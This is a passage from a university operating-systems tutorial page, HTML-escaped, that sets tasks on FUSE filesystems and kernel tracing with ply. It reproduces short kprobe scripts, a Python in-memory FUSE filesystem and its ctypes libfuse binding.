  git clone https://github.com/iovisor/ply.git&lt;br /&gt;
&lt;br /&gt;
Then, build and install:&lt;br /&gt;
&lt;br /&gt;
  cd ply&lt;br /&gt;
  ./autogen.sh&lt;br /&gt;
  ./configure&lt;br /&gt;
  make&lt;br /&gt;
  sudo make install&lt;br /&gt;
&lt;br /&gt;
After this, you should have ply installed in /usr/local/sbin/.&lt;br /&gt;
&lt;br /&gt;
For documentation, check out [https://wkz.github.io/ply/ply.1.html ply&#039;s man page] and [https://github.com/iovisor/ply/blob/master/README.md ply&#039;s README].&lt;br /&gt;
&lt;br /&gt;
==Tasks==&lt;br /&gt;
# Make a few directories in mnt and populate it with several files.  Do you see any errors?  What messages does memoryll.py output while doing this?&lt;br /&gt;
# When you make files in mnt, are they normal files?  Can they be accessed by regular programs?&lt;br /&gt;
# What permissions do you need to &amp;quot;mount&amp;quot; the filesystem?  What about to &amp;quot;umount&amp;quot; it?&lt;br /&gt;
# What system calls are associated with which functions in memoryll.py?  How close is the correspondence between system calls made and python function invocations?  (Note that if you want to use strace you&#039;ll have to do everything as root.)&lt;br /&gt;
# Download [https://homeostasis.scs.carleton.ca/~soma/os-2018f/code/tut8/opensnoop.ply opensnoop.ply] and run it with the command &amp;quot;sudo ply opensnoop.ply&amp;quot;.  Cancel the script by entering Ctrl-C.  What does this ply script output?&lt;br /&gt;
# Download [https://homeostasis.scs.carleton.ca/~soma/os-2018f/code/tut8/fusesnoop.ply fusesnoop.ply] and run it with the command &amp;quot;sudo ply fusesnoop.ply&amp;quot;.  What does this ply script output?&lt;br /&gt;
# Create a ply script to monitor other functions in the Linux kernel.  Try looking at functions in [https://elixir.bootlin.com/linux/latest/source/fs/fuse fs/fuse] and general filesystem operations such as [https://elixir.bootlin.com/linux/latest/source/fs/read_write.c fs/read_write.c].&lt;br /&gt;
# Modify the code so that file renames don&#039;t delete the old file but instead just create a new name for it.&lt;br /&gt;
# Modify the code so that when read, files are converted to upper case.&lt;br /&gt;
&lt;br /&gt;
==Code==&lt;br /&gt;
&lt;br /&gt;
===opensnoop.ply===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot; line&amp;gt;&lt;br /&gt;
#!/usr/bin/env ply&lt;br /&gt;
&lt;br /&gt;
kprobe:do_sys_open&lt;br /&gt;
{&lt;br /&gt;
	printf(&amp;quot;%16s(%5d): %s\n&amp;quot;, comm(), pid(), mem(arg(1), &amp;quot;128s&amp;quot;));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===fusesnoop.ply===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;C&amp;quot; line&amp;gt;&lt;br /&gt;
#!/usr/bin/env ply&lt;br /&gt;
&lt;br /&gt;
kprobe:fuse_do_open&lt;br /&gt;
{&lt;br /&gt;
	printf(&amp;quot;%16s(%5d): %5d\n&amp;quot;, comm(), pid(), arg(1));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===memoryll.py===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot; line&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
&lt;br /&gt;
from collections import defaultdict&lt;br /&gt;
from errno import ENOENT, EROFS&lt;br /&gt;
from stat import S_IFMT, S_IMODE, S_IFDIR, S_IFREG&lt;br /&gt;
from sys import argv, exit&lt;br /&gt;
from time import time&lt;br /&gt;
&lt;br /&gt;
from fusell import FUSELL&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class Memory(FUSELL):&lt;br /&gt;
    def create_ino(self):&lt;br /&gt;
        self.ino += 1&lt;br /&gt;
        return self.ino&lt;br /&gt;
    &lt;br /&gt;
    def init(self, userdata, conn):&lt;br /&gt;
        self.ino = 1&lt;br /&gt;
        self.attr = defaultdict(dict)&lt;br /&gt;
        self.data = defaultdict(str)&lt;br /&gt;
        self.parent = {}&lt;br /&gt;
        self.children = defaultdict(dict)&lt;br /&gt;
        &lt;br /&gt;
        self.attr[1] = {&#039;st_ino&#039;: 1, &#039;st_mode&#039;: S_IFDIR | 0777, &#039;st_nlink&#039;: 2}&lt;br /&gt;
        self.parent[1] = 1&lt;br /&gt;
    &lt;br /&gt;
    forget = None&lt;br /&gt;
    &lt;br /&gt;
    def getattr(self, req, ino, fi):&lt;br /&gt;
        print &#039;getattr:&#039;, ino&lt;br /&gt;
        attr = self.attr[ino]&lt;br /&gt;
        if attr:&lt;br /&gt;
            self.reply_attr(req, attr, 1.0)&lt;br /&gt;
        else:&lt;br /&gt;
            self.reply_err(req, ENOENT)&lt;br /&gt;
    &lt;br /&gt;
    def lookup(self, req, parent, name):&lt;br /&gt;
        print &#039;lookup:&#039;, parent, name&lt;br /&gt;
        children = self.children[parent]&lt;br /&gt;
        ino = children.get(name, 0)&lt;br /&gt;
        attr = self.attr[ino]&lt;br /&gt;
        &lt;br /&gt;
        if attr:&lt;br /&gt;
            entry = {&#039;ino&#039;: ino, &#039;attr&#039;: attr, &#039;atttr_timeout&#039;: 1.0, &#039;entry_timeout&#039;: 1.0}&lt;br /&gt;
            self.reply_entry(req, entry)&lt;br /&gt;
        else:&lt;br /&gt;
            self.reply_err(req, ENOENT)&lt;br /&gt;
    &lt;br /&gt;
    def mkdir(self, req, parent, name, mode):&lt;br /&gt;
        print &#039;mkdir:&#039;, parent, name&lt;br /&gt;
        ino = self.create_ino()&lt;br /&gt;
        ctx = self.req_ctx(req)&lt;br /&gt;
        now = time()&lt;br /&gt;
        attr = {&lt;br /&gt;
            &#039;st_ino&#039;: ino,&lt;br /&gt;
            &#039;st_mode&#039;: S_IFDIR | mode,&lt;br /&gt;
            &#039;st_nlink&#039;: 2,&lt;br /&gt;
            &#039;st_uid&#039;: ctx[&#039;uid&#039;],&lt;br /&gt;
            &#039;st_gid&#039;: ctx[&#039;gid&#039;],&lt;br /&gt;
            &#039;st_atime&#039;: now,&lt;br /&gt;
            &#039;st_mtime&#039;: now,&lt;br /&gt;
            &#039;st_ctime&#039;: now}&lt;br /&gt;
        &lt;br /&gt;
        self.attr[ino] = attr&lt;br /&gt;
        self.attr[parent][&#039;st_nlink&#039;] += 1&lt;br /&gt;
        self.parent[ino] = parent&lt;br /&gt;
        self.children[parent][name] = ino&lt;br /&gt;
        &lt;br /&gt;
        entry = {&#039;ino&#039;: ino, &#039;attr&#039;: attr, &#039;atttr_timeout&#039;: 1.0, &#039;entry_timeout&#039;: 1.0}&lt;br /&gt;
        self.reply_entry(req, entry)&lt;br /&gt;
    &lt;br /&gt;
    def mknod(self, req, parent, name, mode, rdev):&lt;br /&gt;
        print &#039;mknod:&#039;, parent, name&lt;br /&gt;
        ino = self.create_ino()&lt;br /&gt;
        ctx = self.req_ctx(req)&lt;br /&gt;
        now = time()&lt;br /&gt;
        attr = {&lt;br /&gt;
            &#039;st_ino&#039;: ino,&lt;br /&gt;
            &#039;st_mode&#039;: mode,&lt;br /&gt;
            &#039;st_nlink&#039;: 1,&lt;br /&gt;
            &#039;st_uid&#039;: ctx[&#039;uid&#039;],&lt;br /&gt;
            &#039;st_gid&#039;: ctx[&#039;gid&#039;],&lt;br /&gt;
            &#039;st_rdev&#039;: rdev,&lt;br /&gt;
            &#039;st_atime&#039;: now,&lt;br /&gt;
            &#039;st_mtime&#039;: now,&lt;br /&gt;
            &#039;st_ctime&#039;: now}&lt;br /&gt;
        &lt;br /&gt;
        self.attr[ino] = attr&lt;br /&gt;
        self.attr[parent][&#039;st_nlink&#039;] += 1&lt;br /&gt;
        self.children[parent][name] = ino&lt;br /&gt;
        &lt;br /&gt;
        entry = {&#039;ino&#039;: ino, &#039;attr&#039;: attr, &#039;atttr_timeout&#039;: 1.0, &#039;entry_timeout&#039;: 1.0}&lt;br /&gt;
        self.reply_entry(req, entry)&lt;br /&gt;
    &lt;br /&gt;
    def open(self, req, ino, fi):&lt;br /&gt;
        print &#039;open:&#039;, ino&lt;br /&gt;
        self.reply_open(req, fi)&lt;br /&gt;
&lt;br /&gt;
    def read(self, req, ino, size, off, fi):&lt;br /&gt;
        print &#039;read:&#039;, ino, size, off&lt;br /&gt;
        buf = self.data[ino][off:(off + size)]&lt;br /&gt;
        self.reply_buf(req, buf)&lt;br /&gt;
    &lt;br /&gt;
    def readdir(self, req, ino, size, off, fi):&lt;br /&gt;
        print &#039;readdir:&#039;, ino&lt;br /&gt;
        parent = self.parent[ino]&lt;br /&gt;
        entries = [(&#039;.&#039;, {&#039;st_ino&#039;: ino, &#039;st_mode&#039;: S_IFDIR}),&lt;br /&gt;
            (&#039;..&#039;, {&#039;st_ino&#039;: parent, &#039;st_mode&#039;: S_IFDIR})]&lt;br /&gt;
        for name, child in self.children[ino].items():&lt;br /&gt;
            entries.append((name, self.attr[child]))&lt;br /&gt;
        self.reply_readdir(req, size, off, entries)        &lt;br /&gt;
    &lt;br /&gt;
    def rename(self, req, parent, name, newparent, newname):&lt;br /&gt;
        print &#039;rename:&#039;, parent, name, newparent, newname&lt;br /&gt;
        ino = self.children[parent].pop(name)&lt;br /&gt;
        self.children[newparent][newname] = ino&lt;br /&gt;
        self.parent[ino] = newparent&lt;br /&gt;
        self.reply_err(req, 0)&lt;br /&gt;
    &lt;br /&gt;
    def setattr(self, req, ino, attr, to_set, fi):&lt;br /&gt;
        print &#039;setattr:&#039;, ino, to_set&lt;br /&gt;
        a = self.attr[ino]&lt;br /&gt;
        for key in to_set:&lt;br /&gt;
            if key == &#039;st_mode&#039;:&lt;br /&gt;
                # Keep the old file type bit fields&lt;br /&gt;
                a[&#039;st_mode&#039;] = S_IFMT(a[&#039;st_mode&#039;]) | S_IMODE(attr[&#039;st_mode&#039;])&lt;br /&gt;
            else:&lt;br /&gt;
                a[key] = attr[key]&lt;br /&gt;
        self.attr[ino] = a&lt;br /&gt;
        self.reply_attr(req, a, 1.0)&lt;br /&gt;
    &lt;br /&gt;
    def write(self, req, ino, buf, off, fi):&lt;br /&gt;
        print &#039;write:&#039;, ino, off, len(buf)&lt;br /&gt;
        self.data[ino] = self.data[ino][:off] + buf&lt;br /&gt;
        self.attr[ino][&#039;st_size&#039;] = len(self.data[ino])&lt;br /&gt;
        self.reply_write(req, len(buf))&lt;br /&gt;
&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    if len(argv) != 2:&lt;br /&gt;
        print &#039;usage: %s &amp;lt;mountpoint&amp;gt;&#039; % argv[0]&lt;br /&gt;
        exit(1)   &lt;br /&gt;
    fuse = Memory(argv[1])&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===fusell.py===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Copyright (c) 2010 Giorgos Verigakis &amp;lt;verigak@gmail.com&amp;gt;&lt;br /&gt;
# &lt;br /&gt;
# Permission to use, copy, modify, and distribute this software for any&lt;br /&gt;
# purpose with or without fee is hereby granted, provided that the above&lt;br /&gt;
# copyright notice and this permission notice appear in all copies.&lt;br /&gt;
# &lt;br /&gt;
# THE SOFTWARE IS PROVIDED &amp;quot;AS IS&amp;quot; AND THE AUTHOR DISCLAIMS ALL WARRANTIES&lt;br /&gt;
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF&lt;br /&gt;
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR&lt;br /&gt;
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES&lt;br /&gt;
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN&lt;br /&gt;
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF&lt;br /&gt;
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.&lt;br /&gt;
&lt;br /&gt;
from __future__ import division&lt;br /&gt;
&lt;br /&gt;
from ctypes import *&lt;br /&gt;
from ctypes.util import find_library&lt;br /&gt;
from errno import *&lt;br /&gt;
from functools import partial, wraps&lt;br /&gt;
from inspect import getmembers, ismethod&lt;br /&gt;
from platform import machine, system&lt;br /&gt;
from stat import S_IFDIR, S_IFREG&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
_system = system()&lt;br /&gt;
_machine = machine()&lt;br /&gt;
&lt;br /&gt;
class LibFUSE(CDLL):&lt;br /&gt;
    def __init__(self):&lt;br /&gt;
        if _system == &#039;Darwin&#039;:&lt;br /&gt;
            self.libiconv = CDLL(find_library(&#039;iconv&#039;), RTLD_GLOBAL)&lt;br /&gt;
        super(LibFUSE, self).__init__(find_library(&#039;fuse&#039;))&lt;br /&gt;
        &lt;br /&gt;
        self.fuse_mount.argtypes = (c_char_p, POINTER(fuse_args))&lt;br /&gt;
        self.fuse_mount.restype = c_void_p&lt;br /&gt;
        self.fuse_lowlevel_new.argtypes = (POINTER(fuse_args), POINTER(fuse_lowlevel_ops),&lt;br /&gt;
                                            c_size_t, c_void_p)&lt;br /&gt;
        self.fuse_lowlevel_new.restype = c_void_p&lt;br /&gt;
        self.fuse_set_signal_handlers.argtypes = (c_void_p,)&lt;br /&gt;
        self.fuse_session_add_chan.argtypes = (c_void_p, c_void_p)&lt;br /&gt;
        self.fuse_session_loop.argtypes = (c_void_p,)&lt;br /&gt;
        self.fuse_remove_signal_handlers.argtypes = (c_void_p,)&lt;br /&gt;
        self.fuse_session_remove_chan.argtypes = (c_void_p,)&lt;br /&gt;
        self.fuse_session_destroy.argtypes = (c_void_p,)&lt;br /&gt;
        self.fuse_unmount.argtypes = (c_char_p, c_void_p)&lt;br /&gt;
        &lt;br /&gt;
        self.fuse_req_ctx.restype = POINTER(fuse_ctx)&lt;br /&gt;
        self.fuse_req_ctx.argtypes = (fuse_req_t,)&lt;br /&gt;
        &lt;br /&gt;
        self.fuse_reply_err.argtypes = (fuse_req_t, c_int)&lt;br /&gt;
        self.fuse_reply_attr.argtypes = (fuse_req_t, c_void_p, c_double)&lt;br /&gt;
        self.fuse_reply_entry.argtypes = (fuse_req_t, c_void_p)&lt;br /&gt;
        self.fuse_reply_open.argtypes = (fuse_req_t, c_void_p)&lt;br /&gt;
        self.fuse_reply_buf.argtypes = (fuse_req_t, c_char_p, c_size_t)&lt;br /&gt;
        self.fuse_reply_write.argtypes = (fuse_req_t, c_size_t)&lt;br /&gt;
        &lt;br /&gt;
        self.fuse_add_direntry.argtypes = (c_void_p, c_char_p, c_size_t, c_char_p,&lt;br /&gt;
                                            c_stat_p, c_off_t)&lt;br /&gt;
&lt;br /&gt;
class fuse_args(Structure):&lt;br /&gt;
    _fields_ = [(&#039;argc&#039;, c_int), (&#039;argv&#039;, POINTER(c_char_p)), (&#039;allocated&#039;, c_int)]&lt;br /&gt;
&lt;br /&gt;
class c_timespec(Structure):&lt;br /&gt;
    _fields_ = [(&#039;tv_sec&#039;, c_long), (&#039;tv_nsec&#039;, c_long)]&lt;br /&gt;
&lt;br /&gt;
class c_stat(Structure):&lt;br /&gt;
    pass    # Platform dependent&lt;br /&gt;
&lt;br /&gt;
if _system == &#039;Darwin&#039;:&lt;br /&gt;
    ENOTSUP = 45&lt;br /&gt;
    c_dev_t = c_int32&lt;br /&gt;
    c_fsblkcnt_t = c_ulong&lt;br /&gt;
    c_fsfilcnt_t = c_ulong&lt;br /&gt;
    c_gid_t = c_uint32&lt;br /&gt;
    c_mode_t = c_uint16&lt;br /&gt;
    c_off_t = c_int64&lt;br /&gt;
    c_pid_t = c_int32&lt;br /&gt;
    c_uid_t = c_uint32&lt;br /&gt;
    c_stat._fields_ = [&lt;br /&gt;
        (&#039;st_dev&#039;, c_dev_t),&lt;br /&gt;
        (&#039;st_ino&#039;, c_uint32),&lt;br /&gt;
        (&#039;st_mode&#039;, c_mode_t),&lt;br /&gt;
        (&#039;st_nlink&#039;, c_uint16),&lt;br /&gt;
        (&#039;st_uid&#039;, c_uid_t),&lt;br /&gt;
        (&#039;st_gid&#039;, c_gid_t),&lt;br /&gt;
        (&#039;st_rdev&#039;, c_dev_t),&lt;br /&gt;
        (&#039;st_atimespec&#039;, c_timespec),&lt;br /&gt;
        (&#039;st_mtimespec&#039;, c_timespec),&lt;br /&gt;
        (&#039;st_ctimespec&#039;, c_timespec),&lt;br /&gt;
        (&#039;st_size&#039;, c_off_t),&lt;br /&gt;
        (&#039;st_blocks&#039;, c_int64),&lt;br /&gt;
        (&#039;st_blksize&#039;, c_int32)]&lt;br /&gt;
elif _system == &#039;Linux&#039;:&lt;br /&gt;
    ENOTSUP = 95&lt;br /&gt;
    c_dev_t = c_ulonglong&lt;br /&gt;
    c_fsblkcnt_t = c_ulonglong&lt;br /&gt;
    c_fsfilcnt_t = c_ulonglong&lt;br /&gt;
    c_gid_t = c_uint&lt;br /&gt;
    c_mode_t = c_uint&lt;br /&gt;
    c_off_t = c_longlong&lt;br /&gt;
    c_pid_t = c_int&lt;br /&gt;
    c_uid_t = c_uint&lt;br /&gt;
    &lt;br /&gt;
    if _machine == &#039;x86_64&#039;:&lt;br /&gt;
        c_stat._fields_ = [&lt;br /&gt;
            (&#039;st_dev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;st_ino&#039;, c_ulong),&lt;br /&gt;
            (&#039;st_nlink&#039;, c_ulong),&lt;br /&gt;
            (&#039;st_mode&#039;, c_mode_t),&lt;br /&gt;
            (&#039;st_uid&#039;, c_uid_t),&lt;br /&gt;
            (&#039;st_gid&#039;, c_gid_t),&lt;br /&gt;
            (&#039;__pad0&#039;, c_int),&lt;br /&gt;
            (&#039;st_rdev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;st_size&#039;, c_off_t),&lt;br /&gt;
            (&#039;st_blksize&#039;, c_long),&lt;br /&gt;
            (&#039;st_blocks&#039;, c_long),&lt;br /&gt;
            (&#039;st_atimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_mtimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_ctimespec&#039;, c_timespec)]&lt;br /&gt;
    elif _machine == &#039;ppc&#039;:&lt;br /&gt;
        c_stat._fields_ = [&lt;br /&gt;
            (&#039;st_dev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;st_ino&#039;, c_ulonglong),&lt;br /&gt;
            (&#039;st_mode&#039;, c_mode_t),&lt;br /&gt;
            (&#039;st_nlink&#039;, c_uint),&lt;br /&gt;
            (&#039;st_uid&#039;, c_uid_t),&lt;br /&gt;
            (&#039;st_gid&#039;, c_gid_t),&lt;br /&gt;
            (&#039;st_rdev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;__pad2&#039;, c_ushort),&lt;br /&gt;
            (&#039;st_size&#039;, c_off_t),&lt;br /&gt;
            (&#039;st_blksize&#039;, c_long),&lt;br /&gt;
            (&#039;st_blocks&#039;, c_longlong),&lt;br /&gt;
            (&#039;st_atimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_mtimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_ctimespec&#039;, c_timespec)]&lt;br /&gt;
    else:&lt;br /&gt;
        # i686, use as fallback for everything else&lt;br /&gt;
        c_stat._fields_ = [&lt;br /&gt;
            (&#039;st_dev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;__pad1&#039;, c_ushort),&lt;br /&gt;
            (&#039;__st_ino&#039;, c_ulong),&lt;br /&gt;
            (&#039;st_mode&#039;, c_mode_t),&lt;br /&gt;
            (&#039;st_nlink&#039;, c_uint),&lt;br /&gt;
            (&#039;st_uid&#039;, c_uid_t),&lt;br /&gt;
            (&#039;st_gid&#039;, c_gid_t),&lt;br /&gt;
            (&#039;st_rdev&#039;, c_dev_t),&lt;br /&gt;
            (&#039;__pad2&#039;, c_ushort),&lt;br /&gt;
            (&#039;st_size&#039;, c_off_t),&lt;br /&gt;
            (&#039;st_blksize&#039;, c_long),&lt;br /&gt;
            (&#039;st_blocks&#039;, c_longlong),&lt;br /&gt;
            (&#039;st_atimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_mtimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_ctimespec&#039;, c_timespec),&lt;br /&gt;
            (&#039;st_ino&#039;, c_ulonglong)]&lt;br /&gt;
else:&lt;br /&gt;
    raise NotImplementedError(&#039;%s is not supported.&#039; % _system)&lt;br /&gt;
&lt;br /&gt;
class c_statvfs(Structure):&lt;br /&gt;
    _fields_ = [&lt;br /&gt;
        (&#039;f_bsize&#039;, c_ulong),&lt;br /&gt;
        (&#039;f_frsize&#039;, c_ulong),&lt;br /&gt;
        (&#039;f_blocks&#039;, c_fsblkcnt_t),&lt;br /&gt;
        (&#039;f_bfree&#039;, c_fsblkcnt_t),&lt;br /&gt;
        (&#039;f_bavail&#039;, c_fsblkcnt_t),&lt;br /&gt;
        (&#039;f_files&#039;, c_fsfilcnt_t),&lt;br /&gt;
        (&#039;f_ffree&#039;, c_fsfilcnt_t),&lt;br /&gt;
        (&#039;f_favail&#039;, c_fsfilcnt_t)]&lt;br /&gt;
&lt;br /&gt;
class fuse_file_info(Structure):&lt;br /&gt;
    _fields_ = [&lt;br /&gt;
        (&#039;flags&#039;, c_int),&lt;br /&gt;
        (&#039;fh_old&#039;, c_ulong),&lt;br /&gt;
        (&#039;writepage&#039;, c_int),&lt;br /&gt;
        (&#039;direct_io&#039;, c_uint, 1),&lt;br /&gt;
        (&#039;keep_cache&#039;, c_uint, 1),&lt;br /&gt;
        (&#039;flush&#039;, c_uint, 1),&lt;br /&gt;
        (&#039;padding&#039;, c_uint, 29),&lt;br /&gt;
        (&#039;fh&#039;, c_uint64),&lt;br /&gt;
        (&#039;lock_owner&#039;, c_uint64)]&lt;br /&gt;
&lt;br /&gt;
class fuse_ctx(Structure):&lt;br /&gt;
    _fields_ = [(&#039;uid&#039;, c_uid_t), (&#039;gid&#039;, c_gid_t), (&#039;pid&#039;, c_pid_t)]&lt;br /&gt;
&lt;br /&gt;
fuse_ino_t = c_ulong&lt;br /&gt;
fuse_req_t = c_void_p&lt;br /&gt;
c_stat_p = POINTER(c_stat)&lt;br /&gt;
fuse_file_info_p = POINTER(fuse_file_info)&lt;br /&gt;
&lt;br /&gt;
FUSE_SET_ATTR = (&#039;st_mode&#039;, &#039;st_uid&#039;, &#039;st_gid&#039;, &#039;st_size&#039;, &#039;st_atime&#039;, &#039;st_mtime&#039;)&lt;br /&gt;
&lt;br /&gt;
class fuse_entry_param(Structure):&lt;br /&gt;
    _fields_ = [&lt;br /&gt;
        (&#039;ino&#039;, fuse_ino_t),&lt;br /&gt;
        (&#039;generation&#039;, c_ulong),&lt;br /&gt;
        (&#039;attr&#039;, c_stat),&lt;br /&gt;
        (&#039;attr_timeout&#039;, c_double),&lt;br /&gt;
        (&#039;entry_timeout&#039;, c_double)]&lt;br /&gt;
&lt;br /&gt;
class fuse_lowlevel_ops(Structure):&lt;br /&gt;
    _fields_ = [&lt;br /&gt;
        (&#039;init&#039;, CFUNCTYPE(None, c_void_p, c_void_p)),&lt;br /&gt;
        (&#039;destroy&#039;, CFUNCTYPE(None, c_void_p)),&lt;br /&gt;
        (&#039;lookup&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;forget&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_ulong)),&lt;br /&gt;
        (&#039;getattr&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;setattr&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_stat_p, c_int, fuse_file_info_p)),&lt;br /&gt;
        (&#039;readlink&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t)),&lt;br /&gt;
        (&#039;mknod&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p, c_mode_t, c_dev_t)),&lt;br /&gt;
        (&#039;mkdir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p, c_mode_t)),&lt;br /&gt;
        (&#039;unlink&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;rmdir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;symlink&#039;, CFUNCTYPE(None, fuse_req_t, c_char_p, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;rename&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;link&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_ino_t, c_char_p)),&lt;br /&gt;
        (&#039;open&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;read&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_size_t, c_off_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;write&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_char_p, c_size_t, c_off_t,&lt;br /&gt;
                                fuse_file_info_p)),&lt;br /&gt;
        (&#039;flush&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;release&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;fsync&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_int, fuse_file_info_p)),&lt;br /&gt;
        (&#039;opendir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;readdir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_size_t, c_off_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;releasedir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, fuse_file_info_p)),&lt;br /&gt;
        (&#039;fsyncdir&#039;, CFUNCTYPE(None, fuse_req_t, fuse_ino_t, c_int, fuse_file_info_p))]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def struct_to_dict(p):&lt;br /&gt;
    try:&lt;br /&gt;
        x = p.contents&lt;br /&gt;
        return dict((key, getattr(x, key)) for key, type in x._fields_)&lt;br /&gt;
    except ValueError:&lt;br /&gt;
        return {}&lt;br /&gt;
&lt;br /&gt;
def stat_to_dict(p):&lt;br /&gt;
    try:&lt;br /&gt;
        d = {}&lt;br /&gt;
        x = p.contents&lt;br /&gt;
        for key, type in x._fields_:&lt;br /&gt;
            if key in (&#039;st_atimespec&#039;, &#039;st_mtimespec&#039;, &#039;st_ctimespec&#039;):&lt;br /&gt;
                ts = getattr(x, key)&lt;br /&gt;
                key = key[:-4]      # Lose the &amp;quot;spec&amp;quot;&lt;br /&gt;
                d[key] = ts.tv_sec + ts.tv_nsec / 10 ** 9&lt;br /&gt;
            else:&lt;br /&gt;
                d[key] = getattr(x, key)&lt;br /&gt;
        return d&lt;br /&gt;
    except ValueError:&lt;br /&gt;
        return {}&lt;br /&gt;
&lt;br /&gt;
def dict_to_stat(d):&lt;br /&gt;
    for key in (&#039;st_atime&#039;, &#039;st_mtime&#039;, &#039;st_ctime&#039;):&lt;br /&gt;
        if key in d:&lt;br /&gt;
            val = d[key]&lt;br /&gt;
            sec = int(val)&lt;br /&gt;
            nsec = int((val - sec) * 10 ** 9)&lt;br /&gt;
            d[key + &#039;spec&#039;] = c_timespec(sec, nsec)&lt;br /&gt;
    return c_stat(**d)&lt;br /&gt;
&lt;br /&gt;
def setattr_mask_to_list(mask):&lt;br /&gt;
    return [FUSE_SET_ATTR[i] for i in range(len(FUSE_SET_ATTR)) if mask &amp;amp; (1 &amp;lt;&amp;lt; i)]&lt;br /&gt;
&lt;br /&gt;
class FUSELL(object):&lt;br /&gt;
    def __init__(self, mountpoint):&lt;br /&gt;
        self.libfuse = LibFUSE()       &lt;br /&gt;
        &lt;br /&gt;
        fuse_ops = fuse_lowlevel_ops()&lt;br /&gt;
        &lt;br /&gt;
        for name, prototype in fuse_lowlevel_ops._fields_:&lt;br /&gt;
            method = getattr(self, &#039;fuse_&#039; + name, None) or getattr(self, name, None)&lt;br /&gt;
            if method:&lt;br /&gt;
                setattr(fuse_ops, name, prototype(method))&lt;br /&gt;
        &lt;br /&gt;
        args = [&#039;fuse&#039;]&lt;br /&gt;
        argv = fuse_args(len(args), (c_char_p * len(args))(*args), 0)&lt;br /&gt;
        &lt;br /&gt;
        # TODO: handle initialization errors&lt;br /&gt;
        &lt;br /&gt;
        chan = self.libfuse.fuse_mount(mountpoint, argv)&lt;br /&gt;
        assert chan&lt;br /&gt;
        &lt;br /&gt;
        session = self.libfuse.fuse_lowlevel_new(argv, byref(fuse_ops), sizeof(fuse_ops), None)&lt;br /&gt;
        assert session&lt;br /&gt;
        &lt;br /&gt;
        err = self.libfuse.fuse_set_signal_handlers(session)&lt;br /&gt;
        assert err == 0&lt;br /&gt;
        &lt;br /&gt;
        self.libfuse.fuse_session_add_chan(session, chan)&lt;br /&gt;
        &lt;br /&gt;
        err = self.libfuse.fuse_session_loop(session)&lt;br /&gt;
        assert err == 0&lt;br /&gt;
        &lt;br /&gt;
        err = self.libfuse.fuse_remove_signal_handlers(session)&lt;br /&gt;
        assert err == 0&lt;br /&gt;
        &lt;br /&gt;
        self.libfuse.fuse_session_remove_chan(chan)&lt;br /&gt;
        self.libfuse.fuse_session_destroy(session)&lt;br /&gt;
        self.libfuse.fuse_unmount(mountpoint, chan)&lt;br /&gt;
    &lt;br /&gt;
